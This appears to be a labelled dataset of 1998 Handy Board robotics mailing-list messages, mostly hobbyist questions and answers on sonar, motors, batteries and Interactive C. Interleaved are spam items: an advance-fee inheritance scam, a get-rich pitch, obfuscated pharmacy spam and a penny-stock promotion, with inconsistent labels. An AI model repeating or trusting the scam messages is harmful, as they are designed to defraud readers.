or know where I can look for explanations of how to do this. Thanks, Joe Hoffmann E-Mail jhoffman@it.sait.ab.ca ",0,0 brian-c@technologist.com,handyboard@media.mit.edu,"Mon, 20 Jul 1998 17:02:39 -0400",serial transmission,"I looking for any information available on making a serial transmission program, much like dl.exe for example. Also, if anyone knows how to send files through the serial port via a terminal program, I could use a little help getting started. Thanks in advance, _________________________________________________ ������������������������������������������������� Brian Carvalho [ brian-c@ieee.org ] DeVRY Institute New Jersey _________________________________________________ ������������������������������������������������� --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Charles Hacker EAS ,The Plumber ,"Tue, 21 Jul 1998 12:21:23 +1000",Re: LCD routines,"Hello, I have developed a machine code programming system for programming the handyboard. It is similar to the Buffalo routines on the Motorolla 68HC11 chips. It allows a relatively simple way of machine code interaction to the display. The program and documentation can be found at: http://132.234.46.5/Programs/ If you would like example Assembly code that prints data to the screen, then I am attaching an example text code with this Email. > I would like to be able to use the LCD screen on the handy board > while using just straight assembly programs. Is there anyone that > has some example code, or know where I can look for explanations of > how to do this. > Thanks, > Joe Hoffmann > E-Mail jhoffman@it.sait.ab.ca Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,1 Sheridan Edward Ethier ,"""Fred G. Martin"" ","Mon, 20 Jul 1998 23:15:15 -0500",Re: Sonar Help! ,"I have tried the official Handy Board Sonar hookup from the Web sie and didn't get very good results. Most of the time, the sonar would produce seemingly random numbers (including negatives). Every once in a while, it would give a constant value of 302-600 when something was put close but didn't seem to change as the object was moved closer or farther away. The only variation (I think) I did was used 2.5A diodes instead of 3.0A. Also, I cut the motor power trace to use an external battery. Do you still recommend using the ""official"" hookup by basically tying the sonar's V+ and Gnd to external battery (9V)? If you could help, I'd appreciate it greatly. From looking at the mail, it seems most people get it to work easily. I have not been so lucky! Sheridan On Mon, 20 Jul 1998, Fred G. Martin wrote: > why don't you use the directions at > > http://el.www.media.mit.edu/projects/handy-board/software/sonar.html > > ? > > this is the ""official"" way to interface the sonar to the HB. > > Fred > > > In your message you said: > > Hi, > > > > I am having problems getting my Polaroid sonar to work properly. > > Following Kent Farnsworth's directions, I have hooked up the sonar: > > > > Sonar ====> Handy Board > > ECHO TIC3 (Top position) > > V+ TIC3 (Middle) > > GND TIC3 (Bottom) > > INIT PIN 9 of 2nd L293DNE socket > > BINH ---1K--- PIN 1 of 2nd L293DNE socket > > > > Installed a 0.1 uf capacitor in C7. > > > > After running Kent's sonartst.c, the transducer makes the ticking > > sound and 213"" is displayed on the LCD. Unfortunately, it doesn't > > change! If I unplug the ECHO, the display goes to 0"". If I apply > > a voltage to where the ECHO is supposed to be, I can produce varying > > distances between 0"" and 213"". > > > > Does anybody know what is going on? > > > > Sheridan > > > > > ",0,1 """Fred G. Martin"" ",Sheridan Edward Ethier ,"Tue, 21 Jul 1998 00:09:05 -0400",Re: Sonar Help! ,"In your message you said: > I have tried the official Handy Board Sonar hookup from the Web sie and > didn't get very good results. Most of the time, > the sonar would produce seemingly random numbers (including negatives). > Every once in a while, it would give a constant value of 302-600 when > something was put close but didn't seem to change as the object was moved > closer or farther away. The only variation (I think) I did was used > 2.5A diodes instead of 3.0A. > > Also, I cut the motor power trace to use an external battery. Do you still > recommend using the ""official"" hookup by basically tying the sonar's > V+ and Gnd to external battery (9V)? what kind of ext batt are you using? are the diodes in series with that? what voltage do you have on the sonar when it's in operation? are the sonar's ground and the HB's ground connected? fred > > If you could help, I'd appreciate it greatly. From looking at the mail, > it seems most people get it to work easily. I have not been so lucky! > > Sheridan > > > On Mon, 20 Jul 1998, Fred G. Martin wrote: > > > why don't you use the directions at > > > > http://el.www.media.mit.edu/projects/handy-board/software/sonar.html > > > > ? > > > > this is the ""official"" way to interface the sonar to the HB. > > > > Fred > > > > > > In your message you said: > > > Hi, > > > > > > I am having problems getting my Polaroid sonar to work properly. > > > Following Kent Farnsworth's directions, I have hooked up the sonar: > > > > > > Sonar ====> Handy Board > > > ECHO TIC3 (Top position) > > > V+ TIC3 (Middle) > > > GND TIC3 (Bottom) > > > INIT PIN 9 of 2nd L293DNE socket > > > BINH ---1K--- PIN 1 of 2nd L293DNE socket > > > > > > Installed a 0.1 uf capacitor in C7. > > > > > > After running Kent's sonartst.c, the transducer makes the ticking > > > sound and 213"" is displayed on the LCD. Unfortunately, it doesn't > > > change! If I unplug the ECHO, the display goes to 0"". If I apply > > > a voltage to where the ECHO is supposed to be, I can produce varying > > > distances between 0"" and 213"". > > > > > > Does anybody know what is going on? > > > > > > Sheridan > > > > > > > > > ",0,1 phillip chia ,"Sara Karbeling , Dr david Rye , Lim Jew Huang , ""K.F MacDorman"" , handybd ","Mon, 20 Jul 1998 16:38:11 +0800",Need Help to solve the algorithm.,"Hello, I really need help to solve the alogrithm in using the HD with interactive C program . Presently. I'm constructing a mobile robot to move within a battle field of 5metres by 5metres. In side the battle filed, the ""mines"" are visible with diameter 300mm. It has a white reflector tape surround it at the circumstance on the bottom of the mines. he mines are placed ramdomly in the battle field.The robot CANNOT bump into it. The robot has to avoid from begining till the end . The robot has to cross from one end to the opposite end as fast as possible. I""m using 2 stepper motors to drive the robot. Pls take note there is another condition. Besides the ""mines"" , there are obstacles totally in black (eg pails) around. The robot can bump into the obstacle but has to move away and then search the finish end. I will be using 10 retro-reflective sensors (photoelectric). The working Sensing range is 50mm away from the ""mines"" . When the robot sense the ""mines"" at 50mm away, it has to avoid and turn left or right and then forward again. Pls help me to solve the alogorithm when the robot move till one location , the robot will know where it is within the 5m by 5m . rgds, phillip chia ---------- ",0,0 """Ross, Michael"" ","phillip chia , handybd ","Tue, 21 Jul 1998 07:35:57 -0500",RE: Need Help to solve the algorithm.,"Are you asking for how to do the ded reckoning from counting steps, or how to get the sonar to measure your location relative to nearby walls? Mike Ross ---------- From: phillip chia[SMTP:philchia@singnet.com.sg] Sent: Monday, July 20, 1998 3:38 AM To: Sara Karbeling; Dr david Rye; Lim Jew Huang; K.F MacDorman; handybd Subject: Need Help to solve the algorithm. Hello, I really need help to solve the alogrithm in using the HD with interactive C program . Presently. I'm constructing a mobile robot to move within a battle field of 5metres by 5metres. In side the battle filed, the ""mines"" are visible with diameter 300mm. It has a white reflector tape surround it at the circumstance on the bottom of the mines. he mines are placed ramdomly in the battle field.The robot CANNOT bump into it. The robot has to avoid from begining till the end . The robot has to cross from one end to the opposite end as fast as possible. I""m using 2 stepper motors to drive the robot. Pls take note there is another condition. Besides the ""mines"" , there are obstacles totally in black (eg pails) around. The robot can bump into the obstacle but has to move away and then search the finish end. I will be using 10 retro-reflective sensors (photoelectric). The working Sensing range is 50mm away from the ""mines"" . When the robot sense the ""mines"" at 50mm away, it has to avoid and turn left or right and then forward again. Pls help me to solve the alogorithm when the robot move till one location , the robot will know where it is within the 5m by 5m . rgds, phillip chia ---------- ",0,0 michaelj@wt.net,"Sara Karbeling , Dr david Rye , Lim Jew Huang , ""K.F MacDorman"" , handybd ","Tue, 21 Jul 1998 09:06:17 +0500",Re: Need Help to solve the algorithm.,"May I suggest that you get a copy of a paper that Fred Martin wrote (should be on his website, that is where I got it). It talks about the experience of several of his students and their approaches and pitfalls is designing a robot not too dissimilar to what you are doing. The bottom line is that many beginners approach a project like yours with misconceived ideas as to the reliability of sensors, ease of programming and overall being too optimistic. This may help you position yourself and make you aware of some unforeseen problems (for example, you probably should NOT rely on the processor telling the motors to move and then trying to keep track of your position based of wheel movement). Good luck, Mike >Hello, >I really need help to solve the alogrithm in using the HD with interactive >C program . > >Presently. I'm constructing a mobile robot to move within a battle field of >5metres by 5metres. In side the battle filed, the ""mines"" are visible with >diameter 300mm. It has a white reflector tape surround it at the >circumstance on the bottom of the mines. he mines are placed ramdomly in >the battle field.The robot CANNOT bump into it. The robot has to avoid >from begining till the end . The robot has to cross from one end to the >opposite end as fast as possible. I""m using 2 stepper motors to drive the >robot. > >Pls take note there is another condition. Besides the ""mines"" , there are >obstacles totally in black (eg pails) around. The robot can bump into the >obstacle but has to move away and then search the finish end. > >I will be using 10 retro-reflective sensors (photoelectric). The working >Sensing range is 50mm away from the ""mines"" . When the robot sense the >""mines"" at 50mm away, >it has to avoid and turn left or right and then forward again. > >Pls help me to solve the alogorithm when the robot move till >one location , the robot will know where it is within the 5m by 5m . > >rgds, >phillip chia >---------- > > > ",0,0 """Fred G. Martin"" ",philchia@singnet.com.sg,"Tue, 21 Jul 1998 11:20:09 -0400",Re: Need Help to solve the algorithm. ,"The paper referred to is at ftp://cherupakha.media.mit.edu/pub/el-publications/CiP/CiP_Martin.pdf My personal advise is that you simply *get started*. hook up your motors and start driving your robot around. see what it can do, how it moves. then connect sensors and gain an intuition for their performance. you definitely DO NOT want to design this project top-down (i.e., thinking really hard and planning your solution) if you do not yet have experience with the problem domain (i.e., a mobile robot in a semi-structured playing field). Fred In your message you said: > May I suggest that you get a copy of a paper that Fred Martin wrote (should b e > on his website, that is where I got it). It talks about the experience of sev eral > of his students and their approaches and pitfalls is designing a robot not to o > dissimilar to what you are doing. > > The bottom line is that many beginners approach a project like yours with mis conceived > ideas as to the reliability of sensors, ease of programming and overall being > too optimistic. This may help you position yourself and make you aware of som e > unforeseen problems (for example, you probably should NOT rely on the process or > telling the motors to move and then trying to keep track of your position bas ed > of wheel movement). > > Good luck, > Mike > > > >Hello, > >I really need help to solve the alogrithm in using the HD with interactive > > >C program . > > > >Presently. I'm constructing a mobile robot to move within a battle field of > > >5metres by 5metres. In side the battle filed, the ""mines"" are visible with > > >diameter 300mm. It has a white reflector tape surround it at the > >circumstance on the bottom of the mines. he mines are placed ramdomly in > >the battle field.The robot CANNOT bump into it. The robot has to avoid > >from begining till the end . The robot has to cross from one end to the > >opposite end as fast as possible. I""m using 2 stepper motors to drive the > >robot. > > > >Pls take note there is another condition. Besides the ""mines"" , there are > >obstacles totally in black (eg pails) around. The robot can bump into the > >obstacle but has to move away and then search the finish end. > > > >I will be using 10 retro-reflective sensors (photoelectric). The working > >Sensing range is 50mm away from the ""mines"" . When the robot sense the > >""mines"" at 50mm away, > >it has to avoid and turn left or right and then forward again. > > > >Pls help me to solve the alogorithm when the robot move till > >one location , the robot will know where it is within the 5m by 5m . > > > >rgds, > >phillip chia > >---------- > > > > > > > > ",0,0 Dan White ,handyboard@media.mit.edu,"Tue, 21 Jul 1998 15:57:13 -0500",Memory usage,"I don't have a handy board but am considering getting one. I like what I have seen so far! I have searched the FAQ and the mail list archives but can't find the answer to my question. How much of the 32k does Interactive C take up? OR MORE TO THE POINT How much do I have left for my application code? TIA Dan -- /*********************************************************** * Dan White - National Instruments Certified Instructor * * CyberMetrix,Inc. - National Instruments Alliance Member * * * * dwhite@cybermetrix.com * ***********************************************************/",0,1 """Fred G. Martin"" ",dwhite@cybermetrix.com,"Tue, 21 Jul 1998 19:13:30 -0400",Re: Memory usage ,"This question how has an answer in the FAQ. Please see: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#icmemory Following is the answer now on the FAQ page. Fred How much of the Handy Board's 32K memory is available for user programs running under Interactive C? Here is an approximate breakdown of how Interactive C makes use of the Handy Board's 32K of RAM: Purpose Mem Usage ------------------------------------------------------------------------ Runtime P-Code OS 7936 bytes Stack space for user processes 6656 bytes Buffer for interaction process 256 bytes Buffer for printing 256 bytes User program object code plus user global variables 16320 bytes available Thus, about 16K of the memory is reserved for user code plus user globals. Since Interactive C compiles into code for the runtime virtual machine rather than into 68HC11 machine language, user IC programs tend to be more compact than those compiled with traditional compilers, partially offsetting the overhead of the IC system itself. ------------------------------------------------------------------------ In your message you said: > I don't have a handy board but am considering getting one. I like what I > have seen so far! I have searched the FAQ and the mail list archives but > can't find the answer to my question. > How much of the 32k does Interactive C take up? > OR MORE TO THE POINT > How much do I have left for my application code? > TIA > Dan > -- > /*********************************************************** > * Dan White - National Instruments Certified Instructor * > * CyberMetrix,Inc. - National Instruments Alliance Member * > * * > * dwhite@cybermetrix.com * > ***********************************************************/ > >",0,1 TheHahns ,handyboard@media.mit.edu,"Tue, 21 Jul 1998 21:28:34 -0700",Recharging a Battery,"I have a 'sealed rechargeable' Lead-Acid battery. It's specs are 12 volts at 2.0 Ah. It also has a nifty chart on the outside saying: | Charging @ 20 Deg. C | Voltage Regulation | Initial Current | | Standby Use | 13.50-13.80V | No Limit | | Cyclic Use | 14.4-15.0V | .5A Max | Now, What would be the proper way to recharge this battery? What voltage at what amperage? AC or DC? Thanks alot! Phil thehahns@netwurx.net ",0,0 ,Mrs Lilian Jones ,"Wed, 22 Jul 1998 20:25:28 +1000",PLEASE ENDEAVOUR TO USED IT FOR THE CHILDREN OF GOD.,"From: Mrs Lilian Jones PLEASE ENDEAVOUR TO USED IT FOR THE CHILDREN OF GOD. I am the above named person from Kuwait. I am married to Dr.Harry Jones who worked with Kuwait embassy in Ivory Coast for nine years before he died in the year 2000.We were married for eleven years without a child. He died after a brief illness that lasted for only four days. Before his death we were both born again Christians.Since his death I decided not to re-marry or get a child outside my matrimonial home which the Bible is against.When my late husband was alive he deposited the sum of 10Million Dollars (Ten Million United State Dollars) with one finance/security company in Amsterderm Holland. Presently, this money is still with the Security Company. Recently, my Doctor told me that I would not last for the next three months due to cancer problem. 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It's specs are 12 volts at > 2.0 Ah. > > It also has a nifty chart on the outside saying: > > | Charging @ 20 Deg. C | Voltage Regulation | Initial Current | > | Standby Use | 13.50-13.80V | No Limit | > | Cyclic Use | 14.4-15.0V | .5A Max | > > Now, What would be the proper way to recharge this battery? > What voltage at what amperage? > AC or DC? That's a Gel Cell I assume (that's what I call them anyway). Depending on how you use your battery, you can charge it one of two ways (listed on the chart on your battery). I choose to charge my Gel Cells (I have a bunch of different types) from an Astron 20A 13.8V supply (very little ripple) and I use no current limiting. The batteries will take high current at first, and then the current will drop as the battery charges. Make sure your wires you use to connect them can handle the current. I typically discharge my batteries most of the way when I use them, and then charge them up all the way and let them sit a few months. I consider that to be ""standby use"". If you don't discharge your batteries all the way before you charge them again (""cyclic use""), then use the other method, which is slightly higher voltage but only 500mA current. Think of how a battery in a car is used. That's my idea of ""cyclic"" use. The cleaner the DC, the longer the life you can expect out of the battery. Stick a current meter on there and watch what it does as it charges. I've also heard that Gell Cells will become useless if you don't use them occassionally, but I don't know this for a fact. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 """Mr. Carmack"" ",HandyBoard List ,"Wed, 22 Jul 1998 13:20:06 -0500",What about Fischertechnik?,"I assume the Handy Board (HB) can be used with Fischertechnik products and parts. Is this correct? I just ran across Fischertechnik and was wondering if you all have any comments (preferably based on experience) about how this line of products compares with Lego, and their respective use with the HB. JC ",0,0 Jenny ,Geraldine ,"Thu, 23 Jul 1998 11:22:07 -0700","if you dont get paid in 5 days, we'll tripple it!","Hi there Geraldine,   How are you?   I know you were determined to make a fresh start with your financial situation.   Our unique business provides the necessary tools for you to do just that. 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I want to control a 3-axis machine. The 3 engines all have encoders and i want to write a PID filter where i can control the engines with Regards Richard Software Engineer ",0,0 Skye Legon ,handyboard@media.mit.edu,"Thu, 23 Jul 1998 09:14:38 -0400",Config register 0x3c trauma,"You all may recall my problems downloading to my board and receiving a ""config register set to 0x3c"" error. I am glad to report there was a very simple solution, but it was a nightmare to debug. So allow me to share my wisdom so other unfortunate souls don't go through this. You get this 0x3c error when you DON'T HAVE A COMMON GROUND between the serial board and the handy board. I got the same error for 2 different HBs and 3 different HC11 chips (using HBDL on Win95) so it appears repeatable, not just a spurious floating value. If you use DL or DLM you just get a ""synchronization"" error. One for the books... (or the mail archive). Cheers, Skye. PS: In case anyone is wondering how this came to be: I am using the serial/charger board only for communication, not charging (thus I never checked the charging ciruit). In addition I am powering the HB on a completely different circuit than the serial board, thus the common ground is only needed for communication. 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Gibson"" ",wholesun@sohops.gsfc.nasa.gov,"Fri, 24 Jul 1998 17:03:29 -0400",WSM2-->WSF!,"WHOLE SUN FORTNIGHT Campaign Plans August 12 - 25, 1998 Due to the unfortunate loss of communications with SOHO, the Second Whole Sun Month Campaign will be reduced to a Whole Sun Fortnight (WSF) Campaign. Detailed magnetic field observations (JOP 81) will go on much as originally planned. Each day there will be coordinated observations between 1400 and 2200 UT in order to take advantage of the time of greatest overlap of magnetic field observations. Depending on solar conditions, each day a different ""Target of the Day"" (TOD) will be chosen from among the following: Active regions (JOP 84) Coronal holes Filament channel (connected to decaying active region) As well as the TOD observations between 1400 and 2200 UT, observations that do not temporally overlap the magnetic field observations (NOO for non-overlap observations) will be made for all three targets during the WSF period. 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The sonar_sample() call just seems to give random numbers between -327676 and +32767. However, sonar_closeup() gives the same sort of values EXCEPT when I put something close to the transducer. In this case, I tend to get either 2191 or 2639, consistently. If, I move the object away, it goes back to random values. I have tried changing VR1 (though I have no idea what it does) and these results haven't changed. The voltage across V+ and GND is 5.0V and HB GND and Sonar GND are the same. Any ideas? Sheridan On Tue, 21 Jul 1998, Fred G. Martin wrote: > In your message you said: > > I have tried the official Handy Board Sonar hookup from the Web sie and > > didn't get very good results. Most of the time, > > the sonar would produce seemingly random numbers (including negatives). > > Every once in a while, it would give a constant value of 302-600 when > > something was put close but didn't seem to change as the object was moved > > closer or farther away. The only variation (I think) I did was used > > 2.5A diodes instead of 3.0A. > > > > Also, I cut the motor power trace to use an external battery. Do you still > > recommend using the ""official"" hookup by basically tying the sonar's > > V+ and Gnd to external battery (9V)? > > > what kind of ext batt are you using? are the diodes in series with > that? what voltage do you have on the sonar when it's in operation? > are the sonar's ground and the HB's ground connected? > > fred > > > > > > If you could help, I'd appreciate it greatly. From looking at the mail, > > it seems most people get it to work easily. I have not been so lucky! > > > > Sheridan > > > > > > On Mon, 20 Jul 1998, Fred G. Martin wrote: > > > > > why don't you use the directions at > > > > > > http://el.www.media.mit.edu/projects/handy-board/software/sonar.html > > > > > > ? > > > > > > this is the ""official"" way to interface the sonar to the HB. > > > > > > Fred > > > > > > > > > In your message you said: > > > > Hi, > > > > > > > > I am having problems getting my Polaroid sonar to work properly. > > > > Following Kent Farnsworth's directions, I have hooked up the sonar: > > > > > > > > Sonar ====> Handy Board > > > > ECHO TIC3 (Top position) > > > > V+ TIC3 (Middle) > > > > GND TIC3 (Bottom) > > > > INIT PIN 9 of 2nd L293DNE socket > > > > BINH ---1K--- PIN 1 of 2nd L293DNE socket > > > > > > > > Installed a 0.1 uf capacitor in C7. > > > > > > > > After running Kent's sonartst.c, the transducer makes the ticking > > > > sound and 213"" is displayed on the LCD. Unfortunately, it doesn't > > > > change! If I unplug the ECHO, the display goes to 0"". If I apply > > > > a voltage to where the ECHO is supposed to be, I can produce varying > > > > distances between 0"" and 213"". > > > > > > > > Does anybody know what is going on? > > > > > > > > Sheridan > > > > > > > > > > > > > > ",0,1 Raphael Carter ,HandyBoard List ,"Fri, 24 Jul 1998 19:43:29 -0500",motor power problems,"Hi, everyone. I recently bought a preassembled handyboard from the Robot Store in Hong Kong, and I'm having trouble with motor power. My robot frame has two motors that can run at 3-4.5V. I was planning to use 5AA Nicads as a power supply for the whole board (as suggested in the list archives), which should give about 5V or so to the motors. I'd planned on using PWM to run the motors at 3.5V or so for a good cruising speed. Here's what I found: - Any PWM setting high enough to run the motors at full speed was also enough to light the ""battery"" light and reset the Handy Board. I can run the motors at an unsatisfactory crawl -- about 2.25 V, according to my voltmeter -- but anything higher makes the board reset. This problem occurs even if I switch to an 8AA power supply. - Even though my program waits for the start button to be pressed before doing anything, sometimes the Handy Board starts up with both motors running, apparently at full power with no PWM. Since this leaves the CPU without enough power to run, the robot gets stuck in a full-speed-ahead state. This heats up the L293Ds and is probably terrible for the motors, especially when I'm trying to run the board off 8AA batteries. The robot is also liable to jump off my desk while I'm trying to program it. Has anyone had similar problems, and if so how did you solve them? I know there's a way to provide a separate power supply for the motors, but I'd rather not cut traces on the board except as a last resort. If I do have to use separate power supplies, would the Handy Board itself run OK with a 9V battery? At least that way I wouldn't have two bulky power packs to deal with. -- Raphael Carter",0,0 """Fred G. Martin"" ",Raphael Carter ,"Sat, 25 Jul 1998 00:04:37 -0400",Re: motor power problems ,"in short, the answer is: ""you can't use 3 to 4v motors with the Handy Board."" basically, these motors are cheap toy motors that are incredibly noisy from an electrical standpoint, plus they want to draw far more current than the Handy Board's motor drivers can deliver. your options are: 1. get better motors, ones rated for 9 to 12v with 1 ampere of current draw (e.g., LEGO motors) 2. design your own motor driver circuit and run your 3 to 4.5v motors from that. just reducing the HB's batt voltage wont' do it, as you have found, because of the noise problem inherent in these cheap motors. fred In your message you said: > Hi, everyone. I recently bought a preassembled handyboard from the Robot > Store in Hong Kong, and I'm having trouble with motor power. My robot > frame has two motors that can run at 3-4.5V. I was planning to use 5AA > Nicads as a power supply for the whole board (as suggested in the list > archives), which should give about 5V or so to the motors. I'd planned on > using PWM to run the motors at 3.5V or so for a good cruising speed. > > Here's what I found: > > - Any PWM setting high enough to run the motors at full speed was also > enough to light the ""battery"" light and reset the Handy Board. I can run > the motors at an unsatisfactory crawl -- about 2.25 V, according to my > voltmeter -- but anything higher makes the board reset. This problem > occurs even if I switch to an 8AA power supply. > > - Even though my program waits for the start button to be pressed before > doing anything, sometimes the Handy Board starts up with both motors > running, apparently at full power with no PWM. Since this leaves the CPU > without enough power to run, the robot gets stuck in a full-speed-ahead > state. This heats up the L293Ds and is probably terrible for the motors, > especially when I'm trying to run the board off 8AA batteries. The robot > is also liable to jump off my desk while I'm trying to program it. > > Has anyone had similar problems, and if so how did you solve them? I know > there's a way to provide a separate power supply for the motors, but I'd > rather not cut traces on the board except as a last resort. > > If I do have to use separate power supplies, would the Handy Board itself > run OK with a 9V battery? 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Martin"" ",Sam_Wurzel@loomis.org,"Mon, 27 Jul 1998 00:02:14 -0400",Re: troubleshooting ,"In your message you said: > I have a problem assembleing my hanyboard. I am at the stage where i am doing > the digital input circuit. > Before this I successfully loaded pcode_hb.s19 into the handyboard and the > interactive C message appeared. good.... > However, before i loaded pcode_hb.s19 and > turned the board on, the first line on the LCD appeared dark instead of > faintly. yes, this is normal -- before you load pcode_hb.s19, the LCD is just as you describe. > I am using the mac version of 6811 Downloader and in order for the > handyboard to accept the download i had to check ""Ignore Serial Feedback On > Bootstrap"". When this box was not checked i got the error message:Received ba d > Echo from board wanted:142 got: 0 When i checked it the download worked and i > could run IC > Any help would be appreciated. > I'm not clear the problem. if you enable ""ignore feedback"", does it then download properly? if so, don't worry about it, you're doing fine. fred ",0,0 Jelka Petrus ,handyboard@media.mit.edu,"Sun, 26 Jul 1998 17:05:09 -0700",Re: your VgALtUM,"Hi P V C L X V A r I I e a A m o A A v n L b z G L i a I i a R I t x U e c A S ra M n http://www.wasisionders.com antiquated, he snapped. I am armoured above and below with iron scales and hard gems. No blade can pierce me. I might have guessed it, said Bilbo. Truly there can; nowhere be found the equal of Lord Smaug the Impenetrable. What magnificence to possess a waistcoat of fine diamonds! Yes, it is rare and wonderful, indeed, said Smaug absurdly pleased. ",1,1 Brett Anthony ,thecarmacks@msn.com,"Sun, 26 Jul 1998 22:45:10 -0700",RE: fischertechnik,"First of all, the HandyBoard works fine with fischertechnik. I've been using fischertechnik for a variety of purposes since about 1980. I've also used Lego Technic, although less extensively, for ten years or so. Size/Scale: If you build identically functioning machines from both systems, the end products will be roughly the same size. The raw parts count on the Lego Technic machine will be 3 to 4 times greater than the fischertechnik, however, just due to the nature of each building system. This is not necessarily a bad thing. Mechanics: Basically what one will do, so will the other. Ever since Lego Technic appeared in response to fischertechnik's early success, the two systems have been playing feature tit-for-tat (at least in Europe). There ARE differences, but it depends on what you want to do. Generally, if you need to build a unique actuating linkage or rotating powertrain, Lego Technic does it more effectively, and in a considerably (maybe 50%) smaller space. Lego Technic rotating elements (gears, pulleys, etc) fix to their shafts more reliably and elegantly, and the free gears mesh more efficiently. The motors are comparable in size, power, etc., but the user-configurable gearboxes that have always come with fischertechnik motors are far ahead of anything Lego Technic has produced. Fischertechnik also has historically offered a wider variety of electro-mechanical gizmos and computer interfaces. Their version of LegoMindStorms (i.e. an independent robot kit), called ""fischertechnik Mobile Computing"" has been out a year or so and uses a graphical programming ""language"" called LLWin. A nice piece of work, but not nearly as powerful nor versatile as HandyBoard. Structure/Chassis: Lego Technic has the distinct DISadvantage of being compatible with original Lego press-together bricks. You can't just push a Lego motor on to your machine and expect it to stay. You have to ""box it in"", as you have to do with all elements that experience stress. Of course Lego provides numerous clever ways to do this, and the HandyBoard web site provides a document called ""The Art of Lego"" to help you, but the fact remains that Lego Technic machines want to get loose and fall apart under cyclic stress. Fischertechnik uses a different (and rather elegant) method of attachment which is fast, versatile, and nearly foolproof. I can build things (like crooked, jointed legs for walking robots) with ft that I couldn't conceive with Lego. Ease of Creation: fischertechnik wins this one hands down. I like Lego very much for a variety of reasons, but I generally end up doing my experimenting with ft. If you gave me a large supply of both systems and asked me to create a particular type of machine, I could probably do it two to three times quicker with ft than Lego. I could then tumble the fischertechnik machine down a flight of stairs and have it still be running with no lost parts at the bottom. (Don't do this with your HandyBoard!) Availability/Familiarity: Lego all the way. They understand the market and know how to take care of the customer, and if you need some more elements or whatever, generally a quick trip to the mall is all it takes. Fischer has never known how to market in the USA. There is one bright spot, however. If you want to buy fischertechnik, go to http://www.timberdoodle.com , they don't do credit cards (but you can fax them a check), the prices are very reasonable, and the service is good. There are other sources too, if you're interested I'll send the info. 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I was then able to send pcode_hb.s19. When I restarted the handyboard Instead of the Interactive C message, all 32 of the LCD panels lit dimly. The second time I tried to load pcode_hb.s19 the Interactive C message appeared to i ran the interactive C program and it loaded the Interactive C libs. i typed c> 1+1; This proceeded to crash interactve C and nothing appeared on my handyboard. Since then i have tried this procedure with vairing results 1) Load pcode_hb.s19 2) Restart Handyboard 3)observe results 4)unplug/plug rj-11 from handyboard I have done this about 10 times hoping to have it work. sometimes the speaker makes rapid clicking noises, this is accompanied by the yellow light flashing in unicen on the charger board once, just the heart appeared on the bottom right on the lcd screen once random(?) pixels illuminated on the first three panels of the LCD screen. most of the time after loading pcode_hb.s19 and restarting the board the top 16 panels light darkly for a second and then all 32 panles light dimly. Any ideas would be appreciated. ",0,0 Sherrie Jackson ,"handyboard@media.mit.edu, amalia@media.mit.edu, lance@media.mit.edu","Mon, 27 Jul 1998 02:02:10 +0000",Investor Edge,"Res0rt C|ubs |nternational_Inc. Now Listed and Trading on Frankfurt Exchange! Act fast on this one! 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Until 2 days ago I had zero knowledge of electronics, although I am teaching myself using some kits and books. I also do not know C language, although I have taken FORTRAN and COBOL in the dark ages of my days as an unsuccessful computer science undergrad. So, if you will pardon my ignorance and my background (I have an MA in Applied Linguistics) and accept my enthusiasm and motivation as a ransom, could y'all answer the following inquiries. Know that I have read the 6.270 handbook and also most of the handyboard tech reference, and also Art of Lego. (1) When you say IC is a subset of C, do you mean C or C++ ? I imagine I will have to teach myself C, but was confused at the store that most books were for C++. (2) What do =I= need to program with IC on my PC (Pentium 233 or so)? I imagine I would need UNIX? Would the line editor for IC work on my PC as well as MITY Athena, whatever that is? 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When you have finished using this type of motor the pin 8 can be bent back (after removing the chip, but I would avoid doing this more than once or twice less metal fatigue break the pin. But I have used this method to supply 12V to robot drive motors. Hope this Helps Fred T",0,0 Emiel ,"Bernd Klein , handyboard@media.mit.edu","Mon, 27 Jul 1998 21:18:12 +0200",Re: Sumo-Robots,"look at http://members.tripod.com/~hccrobotica/ for th Dutch sumo-robotics Greetz Emiel ---------- > From: Bernd Klein > To: handyboard@media.mit.edu > Subject: Sumo-Robots > Date: woensdag 15 juli 1998 11:53 > > Hi all, > > i´m looking for germany-sumo-robotic fans and builders. Is there any > sumo-events in germany ? > > Have somebody infos about sumo-robots (construction, tip & tricks, etc.) > ? > > Bye > > Bernd Klein > > P.S. I know the www-Pages from Bill Harrison, PARTS and SRS. >",0,1 Mark Wallace ,handyboard@media.mit.edu,"Mon, 27 Jul 1998 17:22:24 -0400",sonar.c for the handyboard,"Hello, I have a handyboard and 6500 series poloroid ultrasonic ranging system. I have downloaded the sonar.c programs used to drive the transducer for distance measurements. There appears to be a problem, or atleast I think there is, with it. The sonar device is supposed to give distances of up to 35ft but the TCNC time register is 16 bit and in the program it says ""if ((peekwork(0x100e)-start_time) < 0)"" too much time has elapsed and it returns -1. Therefore as soon as about 32700 counts goes by, that value will go negative. I believe hex goes from 0 to 32768 then -32768 to -1. In this case the difference will be < 0 if the object is greater then about 9 ft. I have taken this out of the program and can get accurate measurements up to atleast 30 ft but I have to look at the value given and add multiples of 2^16 to it to figure out where it is. Taking this out of the program also can get you stuck if you really are out of range. I have looked on the motorola web pages to see about this clock and it says that the clock goes till it reachs $ffff and then flags somewhere that there is an overflow and then starts over. I don't know how to find out were in the chip this information might be stored. I know the TCNT time register is at 0x100e from the notes on Simplified Sonar for the Handy Board but I don't know where that overflow flag is stored. I thought that maybe by setting this flag and using it in the loop you might be about to get a greater distance out of you measurement. Another question I have is about IC. I would like to display numbers greater then 32000 and right now there are several int type variables and normal C comands don't seem to work to make a ""long"" or any other type that are larger then 32000. How does IC handle larger numbers? I am only a student and don't have much experience with this stuff so I would appreciate any feedback I can get on either of these problems. Thanks. Mark Wallace e-mail mawalla3@vt.edu wallace@astro.phys.vt.edu Web page http://sps1.phys.vt.edu/~mwallace/index.html ""What a waste it would be after 4 billion tortuous years of evolution if the dominant organism contrived its own self-destruction"" Carl Sagan",0,1 Rick Moll ,handyboard ,"Mon, 27 Jul 1998 18:59:45 -0500",IC Floating Point Bug,"I've been making use of floating point for the first time on the HB and am having problems. The following program demonstrates the kinds of bugs I've been encountering: ----(cut 